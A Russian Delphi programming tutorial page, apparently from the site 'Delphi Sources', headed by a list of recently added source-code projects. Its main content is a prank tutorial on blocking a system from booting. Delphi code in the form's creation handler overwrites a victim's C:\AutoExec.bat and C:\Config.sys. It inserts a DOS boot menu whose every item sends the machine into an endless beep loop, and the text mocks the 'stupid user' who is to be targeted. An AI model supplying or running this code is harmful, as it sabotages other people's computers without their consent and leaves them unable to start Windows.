Недавно добавленные исходники

•  DeLiKaTeS Tetris (Тетрис)  3 931

•  TDictionary Custom Sort  6 034

•  Fast Watermark Sources  5 839

•  3D Designer  8 650

•  Sik Screen Capture  6 158

•  Patch Maker  6 598

•  Айболит (remote control)  6 585

•  ListBox Drag & Drop  5 450

•  Доска для игры Реверси  95 387

•  Графические эффекты  6 802

•  Рисование по маске  5 975

•  Перетаскивание изображений  4 975

•  Canvas Drawing  5 346

•  Рисование Луны  5 072

•  Поворот изображения  4 609

•  Рисование стержней  3 268

•  Paint on Shape  2 510

•  Генератор кроссвордов  3 404

•  Головоломка Paletto  2 703

•  Теорема Монжа об окружностях  3 501

•  Пазл Numbrix  2 297

•  Заборы и коммивояжеры  2 986

•  Игра HIP  1 945

•  Игра Go (Го)  1 861

•  Симулятор лифта  2 210

•  Программа укладки плитки  1 931

•  Генератор лабиринта  2 370

•  Проверка числового ввода  2 057

•  HEX View  2 378

•  Физический маятник  2 011

 
скрыть

  Форум  

Delphi FAQ - Часто задаваемые вопросы

| Базы данных | Графика и Игры | Интернет и Сети | Компоненты и Классы | Мультимедиа |
| ОС и Железо | Программа и Интерфейс | Рабочий стол | Синтаксис | Технологии | Файловая система |



Delphi Sources

Заблокировать вход в систему




Бл@дь - это женщина, в которую можно войти под любым логином.

Вы когда-нибудь видели меню в DOS'е? Ну, например, то самое, которое появляется по нажатию на F8 до загрузки Windows. А представьте себе, если у вас оно будет появляться без всяких нажатий на клавиши, да ещё и пункты меню будут с заданными вами заголовками, ну, и, наконец, если не по одному из пунктов меню вы не сможете загрузить Windows...

Для этого нам понадобятся два системных файла, умение делать копию в буфер обмена (дабы не писать тот код, что я вам сейчас покажу) и ламерюга, на котором вы бы хотели всё это испытать.

Ну, за последним дело не постоит, а сначала нужно сделать следующее:

  1. Выносим компонент класса TMemo - это большое текстовое поле (мы уже учились использовать переменные для взаимодействия с файлами, когда выводили сообщение во время загрузки системы, теперь будем использовать компоненты).
  2. По созданию окна пишем:

procedure TForm1.FormCreate(Sender: TObject);
begin
  with Memo1.Lines do
  begin
    Clear;
    LoadFromFile('C:\AutoExec.bat');
    Insert(3,'goto %config%');
    Insert(4,':FuckSystem');
    Append('beep');
    Append('goto FuckSystem');
    Append(':HackSystem');
    Append('beep');
    Append('goto HackSystem');
    Append(':exit');
    SaveToFile('C:\AutoExec.bat');

    Clear;
    LoadFromFile('C:\Config.sys');
    Append('[menu]');
    Append('menuitem=HackSystem, HackSystem');
    Append('menuitem=FuckSystem, FuckSystem');
    Append('[FuckSystem]');
    Append('[HackSystem]');
    SaveToFile('C:\Config.sys');
  end;
end;

Мы использовали два системных файла. Это AutoExec.bat и Config.sys. В текстовое поле по имени Memo1 поочерёдно помещаем содержимое файлов с помощью метода LoadFromFile и добавляем нужный код. В конфиге мы создаём меню, которое будет отображать при загрузке системы. Состоять оно будет из двух пунктов: HackSystem и FuckSystem. А в автоэкзэке описываем, что по нажатию на том или ином пункте меню машина будет зацикливаться... т.е. глупый пользователь, взяв один из пунктов меню будет сидеть и ждать, пока не запустится Windows, любуясь на заставку маст-дая с облачками и остальными причиндалами. Ему не в жизнь не догадаться нажать Esc, а если нажмёт, то то, что он увидит... м-да... лучше сто раз увидеть, чем один раз заиметь...








Copyright © 2004-2025 "Delphi Sources" by BrokenByte Software. Delphi World FAQ

Группа ВКонтакте